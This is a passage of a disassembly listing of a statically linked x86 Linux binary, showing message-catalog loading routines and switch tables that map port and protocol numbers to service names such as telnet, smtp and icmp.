eax, eax jmp loc_805E838 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805E6C0: ; CODE XREF: sub_805E640+6Bj mov eax, [esi+4] push eax call __libc_close add esp, 4 cmp dword ptr [esi+8], 1Bh jbe loc_805E7F8 push 8 push offset aNazgul ; "*nazgul*" mov [esi+4], ebx push ebx call strncmp add esp, 0Ch test eax, eax jnz loc_805E7F8 mov eax, [esi+4] cmp dword ptr [eax+8], 1 jz short loc_805E71C push 1 mov eax, [eax+8] push eax push edi push offset aMessageCatalog ; "Message Catalog System" push offset aSSIsVersionDWe ; "%s: %s is version %d, we need %d.\n" push offset unk_80787A4 call _IO_fprintf xor eax, eax jmp loc_805E838 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E71C: ; CODE XREF: sub_805E640+B8j mov eax, [esi+4] cmp dword ptr [eax+14h], 0 jg short loc_805E748 mov eax, [eax+14h] push eax push edi push offset aMessageCatalog ; "Message Catalog System" push offset aSSHasDSets ; "%s: %s has %d sets!\n" push offset unk_80787A4 call _IO_fprintf xor eax, eax jmp loc_805E838 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805E748: ; CODE XREF: sub_805E640+E3j mov eax, [esi+4] mov eax, [eax+14h] mov [esi+0Ch], eax mov eax, [esi+4] mov eax, [eax+14h] lea edx, [eax+eax*2] lea edx, [edx+edx*8] add eax, edx push eax call malloc mov [esi+10h], eax add esp, 4 test eax, eax jnz short loc_805E790 loc_805E76F: ; CODE XREF: sub_805E640+1B2j push offset aMessageCatalog ; "Message Catalog System" push offset aSNoMoreMemory_ ; "%s: no more memory.\n" push offset unk_80787A4 call _IO_fprintf mov eax, 0FFFFFFFFh jmp loc_805E838 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805E790: ; CODE XREF: sub_805E640+12Dj mov eax, [esi+4] mov edx, [eax+18h] xor edi, edi cmp [esi+0Ch], edi jle loc_805E824 mov [ebp+var_4], 0 loc_805E7A8: ; CODE XREF: sub_805E640+1E2j cmp [esi+8], edx jl short loc_805E7F8 mov ebx, [ebp+var_4] add ebx, [esi+10h] lea eax, [edx+1Ch] cmp [esi+8], eax jb short loc_805E7F8 push 1Ch push ebx mov eax, edx add eax, [esi+4] push eax call bcopy add esp, 0Ch cmp dword ptr [ebx+18h], 0 jz short loc_805E7DC add [ebp+var_4], 0FFFFFFE4h dec edi jmp short loc_805E817 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805E7DC: ; CODE XREF: sub_805E640+190j cmp dword ptr [esi], 1 jnz short loc_805E810 push ebx push esi call sub_805E844 add esp, 8 test eax, eax jg short loc_805E817 cmp eax, 0FFFFFFFFh jz loc_805E76F loc_805E7F8: ; CODE XREF: sub_805E640+90j ; sub_805E640+ABj ... push offset aMessageCatalog ; "Message Catalog System" push offset aSCorruptFile_ ; "%s: corrupt file.\n" push offset unk_80787A4 call _IO_fprintf xor eax, eax jmp short loc_805E838 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E810: ; CODE XREF: sub_805E640+19Fj mov dword ptr [ebx+18h], 0FFFFFFFFh loc_805E817: ; CODE XREF: sub_805E640+197j ; sub_805E640+1ADj mov edx, [ebx+4] add [ebp+var_4], 1Ch inc edi cmp [esi+0Ch], edi jg short loc_805E7A8 loc_805E824: ; CODE XREF: sub_805E640+15Bj cmp dword ptr [esi], 1 jnz short loc_805E836 mov eax, [esi+8] push eax mov eax, [esi+4] push eax call __libc_munmap loc_805E836: ; CODE XREF: sub_805E640+1E7j mov eax, esi loc_805E838: ; CODE XREF: sub_805E640+24j ; sub_805E640+42j ... lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805E640 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805E844 proc near ; CODE XREF: sub_805E3FC+BFp ; sub_805E640+1A3p var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov edx, [ebp+arg_4] mov edx, [edx+0Ch] mov [ebp+var_4], edx mov ecx, [ebp+arg_0] cmp [ecx+8], edx jl short loc_805E8DC mov edx, [ebp+arg_4] mov eax, [edx+10h] push eax call malloc mov ecx, [ebp+arg_4] mov [ecx+0Ch], eax add esp, 4 test eax, eax jz short loc_805E8D5 mov eax, [ebp+var_4] mov edx, [ebp+arg_4] add eax, [edx+10h] mov ecx, [ebp+arg_0] cmp [ecx+8], eax jl short loc_805E8DC mov edx, [ebp+arg_4] mov eax, [edx+10h] push eax mov eax, [edx+0Ch] push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] add eax, [ecx+4] push eax call bcopy mov edx, [ebp+arg_4] mov edx, [edx+8] mov [ebp+var_4], edx add esp, 0Ch mov ecx, [ebp+arg_0] cmp [ecx+8], edx jl short loc_805E8DC mov edx, [ebp+arg_4] mov eax, [edx+14h] lea eax, [eax+eax*2] shl eax, 2 push eax call malloc mov ecx, [ebp+arg_4] mov [ecx+8], eax add esp, 4 test eax, eax jnz short loc_805E8E0 loc_805E8D5: ; CODE XREF: sub_805E844+31j mov eax, 0FFFFFFFFh jmp short loc_805E948 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E8DC: ; CODE XREF: sub_805E844+18j ; sub_805E844+42j ... xor eax, eax jmp short loc_805E948 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E8E0: ; CODE XREF: sub_805E844+8Fj xor edi, edi mov edx, [ebp+arg_4] cmp [edx+14h], edi jle short loc_805E939 xor esi, esi loc_805E8EC: ; CODE XREF: sub_805E844+F3j mov ebx, esi mov ecx, [ebp+arg_4] add ebx, [ecx+8] mov eax, [ebp+var_4] add eax, 0Ch mov edx, [ebp+arg_0] cmp [edx+8], eax jb short loc_805E8DC push 0Ch push ebx mov eax, [ebp+var_4] add eax, [edx+4] add eax, esi push eax call bcopy add esp, 0Ch cmp dword ptr [ebx+8], 0 jz short loc_805E924 add esi, 0FFFFFFF4h dec edi jmp short loc_805E92D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805E924: ; CODE XREF: sub_805E844+D6j mov ecx, [ebp+arg_4] mov ecx, [ecx+0Ch] add [ebx+4], ecx loc_805E92D: ; CODE XREF: sub_805E844+DCj add esi, 0Ch inc edi mov edx, [ebp+arg_4] cmp [edx+14h], edi jg short loc_805E8EC loc_805E939: ; CODE XREF: sub_805E844+A4j mov ecx, [ebp+arg_4] mov dword ptr [ecx+18h], 0 mov eax, 1 loc_805E948: ; CODE XREF: sub_805E844+96j ; sub_805E844+9Aj lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805E844 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [0000002D BYTES: COLLAPSED FUNCTION libc_nls_init. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000031 BYTES: COLLAPSED FUNCTION inet_ntoa. PRESS KEYPAD "+" TO EXPAND] align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805E9B8 proc near ; CODE XREF: sub_805F7E4+753p arg_0 = dword ptr 8 push ebp mov ebp, esp mov edx, [ebp+arg_0] lea eax, [edx-5] ; switch 166 cases cmp eax, 0A5h ja loc_805EE88 ; default jmp ds:off_805E9D4[eax*4] ; switch jump ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 off_805E9D4 dd offset loc_805EC6C, offset loc_805EE88, offset loc_805EC78 ; DATA XREF: sub_805E9B8+14r dd offset loc_805EE88, offset loc_805EC84, offset loc_805EE88 ; jump table for switch statement dd offset loc_805EC90, offset loc_805EE88, offset loc_805EC9C dd offset loc_805EE88, offset loc_805ECA8, offset loc_805EE88 dd offset loc_805ECB4, offset loc_805EE88, offset loc_805ECC0 dd offset loc_805ECCC, offset loc_805ECD8, offset loc_805EE88 dd offset loc_805ECE4, offset loc_805EE88, offset loc_805ECF0 dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88 dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88 dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88 dd offset loc_805EE88, offset loc_805EE88, offset loc_805ECFC dd offset loc_805EE88, offset loc_805ED08, offset loc_805EE88 dd offset loc_805EE88, offset loc_805ED14, offset loc_805ED20 dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88 dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88 dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88 dd offset loc_805ED2C, offset loc_805EE88, offset loc_805EE88 dd offset loc_805EE88, offset loc_805ED38, offset loc_805EE88 dd offset loc_805ED44, offset loc_805EE88, offset loc_805EE88 dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88 dd offset loc_805EE88, offset loc_805EE88, offset loc_805ED50 dd offset loc_805ED5C, offset loc_805ED68, offset loc_805EE88 dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88 dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88 dd offset loc_805EC6C, offset loc_805EE88, offset loc_805ED74 dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88 dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88 dd offset loc_805EE88, offset loc_805ED80, offset loc_805EE88 dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88 dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88 dd offset loc_805ED8C, offset loc_805EE88, offset loc_805EE88 dd offset loc_805EE88, offset loc_805EE88, offset loc_805ED98 dd offset loc_805EDA4, offset loc_805EDB0, offset loc_805EDBC dd offset loc_805EDC8, offset loc_805EDD4, offset loc_805EE88 dd offset loc_805EE88, offset loc_805EE88, offset loc_805EDE0 dd offset loc_805EE88, offset loc_805EDEC, offset loc_805EE88 dd offset loc_805EDF8, offset loc_805EE88, offset loc_805EE04 dd offset loc_805EE88, offset loc_805EE10, offset loc_805EE88 dd offset loc_805EE1C, offset loc_805EE88, offset loc_805EE28 dd offset loc_805EE88, offset loc_805EE34, offset loc_805EE88 dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88 dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88 dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE40 dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE4C dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88 dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88 dd offset loc_805EE88, offset loc_805EE58, offset loc_805EE88 dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88 dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88 dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88 dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88 dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88 dd offset loc_805EE64, offset loc_805EE70, offset loc_805EE88 dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88 dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88 dd offset loc_805EE7C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EC6C: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aRje ; case 0x5 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EC78: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aEcho ; case 0x7 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EC84: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aDiscard ; case 0x9 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EC90: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aSystat ; case 0xb mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EC9C: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aDaytime ; case 0xd mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805ECA8: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aNetstat ; case 0xf mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805ECB4: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aQotd ; case 0x11 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805ECC0: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aChargen ; case 0x13 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805ECCC: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aFtpData ; case 0x14 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805ECD8: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aFtp ; case 0x15 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805ECE4: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aTelnet ; case 0x17 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805ECF0: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aSmtp ; case 0x19 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805ECFC: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aTime ; case 0x25 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805ED08: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aRlp ; case 0x27 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805ED14: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aName ; case 0x2a mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805ED20: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aWhois ; case 0x2b mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805ED2C: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aDomain_0 ; case 0x35 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805ED38: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aApts ; case 0x39 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805ED44: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aApfs ; case 0x3b mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805ED50: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aBootps ; case 0x43 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805ED5C: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aBootpc ; case 0x44 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805ED68: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aTftp ; case 0x45 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805ED74: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aFinger ; case 0x4f mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805ED80: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aLink ; case 0x57 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805ED8C: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aSupdup ; case 0x5f mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805ED98: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aNewacct ; case 0x64 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EDA4: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aHostnames ; case 0x65 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EDB0: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aIsoTsap ; case 0x66 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EDBC: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aX400 ; case 0x67 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EDC8: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aX400Snd ; case 0x68 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EDD4: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aCsnetNs ; case 0x69 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EDE0: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aPop2 ; case 0x6d mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EDEC: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aSunrpc ; case 0x6f mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EDF8: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aAuth ; case 0x71 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EE04: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aSftp ; case 0x73 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EE10: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aUucpPath ; case 0x75 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EE1C: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aNntp ; case 0x77 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EE28: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aErpc ; case 0x79 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EE34: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aNtp ; case 0x7b mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EE40: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aStatsrv ; case 0x85 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EE4C: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aProfile ; case 0x88 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EE58: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aNews ; case 0x90 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EE64: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aSnmp ; case 0xa1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EE70: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aSnmpTrap ; case 0xa2 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EE7C: ; CODE XREF: sub_805E9B8+14j ; DATA XREF: sub_805E9B8+1Co mov eax, offset aPrintSrv ; case 0xaa mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EE88: ; CODE XREF: sub_805E9B8+Ej ; sub_805E9B8+14j ; DATA XREF: ... push edx ; default push offset aD_0 ; "%d" push offset unk_807E3B0 call sprintf mov eax, offset unk_807E3B0 mov esp, ebp pop ebp retn sub_805E9B8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805EEA4 proc near ; CODE XREF: sub_805F7E4+6F9p arg_0 = dword ptr 8 push ebp mov ebp, esp mov edx, [ebp+arg_0] lea eax, [edx-1] ; switch 17 cases cmp eax, 10h ja loc_805EF94 ; default jmp ds:off_805EEC0[eax*4] ; switch jump ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 off_805EEC0 dd offset loc_805EF04 ; DATA XREF: sub_805EEA4+12r dd offset loc_805EF10 ; jump table for switch statement dd offset loc_805EF1C dd offset loc_805EF94 dd offset loc_805EF28 dd offset loc_805EF34 dd offset loc_805EF40 dd offset loc_805EF4C dd offset loc_805EF58 dd offset loc_805EF94 dd offset loc_805EF64 dd offset loc_805EF70 dd offset loc_805EF94 dd offset loc_805EF94 dd offset loc_805EF94 dd offset loc_805EF7C dd offset loc_805EF88 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EF04: ; CODE XREF: sub_805EEA4+12j ; DATA XREF: sub_805EEA4+1Co mov eax, offset aIcmp ; case 0x1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805EF10: ; CODE XREF: sub_805EEA4+12j ; DATA XREF: sub_805EEA4+1Co mov eax, offset aIgmp ; case 0x2 mov esp, ebp pop ebp retn ; 